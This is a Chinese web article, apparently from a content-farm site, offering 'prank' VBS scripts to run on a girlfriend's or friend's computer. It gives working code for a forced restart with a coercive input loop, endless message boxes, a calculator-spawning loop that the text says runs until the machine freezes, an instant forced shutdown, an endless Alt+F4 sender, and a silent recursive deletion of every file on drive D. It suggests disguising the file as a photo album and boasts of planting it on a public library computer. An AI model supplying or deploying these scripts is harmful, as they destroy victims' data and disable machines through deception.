您现在的位置是:首页 > 精选知识 >正文

今日电脑vbs代码套路女朋友(如何恶搞朋友的电脑超简单的vbs代码)

发布时间:2022-07-19 12:31:28闵芝子来源:

导读大家好,小常来为大家解答以上问题。电脑vbs代码套路女朋友,如何恶搞朋友的电脑超简单的vbs代码很多人还不知道,现在让我们一起来看看吧!...

大家好,小常来为大家解答以上问题。电脑vbs代码套路女朋友,如何恶搞朋友的电脑超简单的vbs代码很多人还不知道,现在让我们一起来看看吧!

1、新建文本文档,复制代码。

2、代码如下:on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run"cmd.exe /c shutdown -r -t 180 -c""说我是猪,不说我是猪就一分钟关你机,不信,你试试···""",0 ,truedim ado while(a <>"我是猪")a = inputbox ("说我是猪,就不关机,快撒,说""我是猪"" ","说不说","不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) +"早说就行了嘛,呵呵,猪"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run"cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) +"哈哈哈哈,真过瘾"保存记事本文档,把txt文件的后缀名txt改成vbs。

3、可以把名字写成如“我的相册.vbs”吸引人的字眼。

4、双击运行,查看效果。

5、如果不说“我是猪”或者输入其他字的话,就会重复窗口,直到说“我是猪”为止。

6、继而弹出以下窗口:如果不小心自己点开了,有两种解决方法:一是的输入“我是猪”进行解除;二是按Windows+R键打开运行输入shutdown -a来解除关机命令(注意此时不要点击正在运行的弹窗的任何按钮),接着打开任务管理器找到wscript并结束进程就OK 啦。

7、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈 ------------------------------------------------------------------------------ do msgbox"You are foolish!"loop打开无数个计算器,直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run"calc"loop直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run"shutdown -f -s -t 00",0 ,true删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run"cmd /c""del d:\*.* / f /q /s""",0 ,true按500次回车 (以上代码在运行者的电脑上显示500个对话框。

8、其中 do until s=500 ,500可以随意更改) dim s do until s=500 s=s+1 msgbox"哥们,给我按500次回车吧",64 loop不断按下alt+f4 (开什么都关闭……) dim WSHshell set WSHshell = wscript.createobject("wscript.shell") while(1) WSHshell.SendKeys"%{F4}"loo。

本文到此结束,希望对大家有所帮助。

标签:

上一篇
下一篇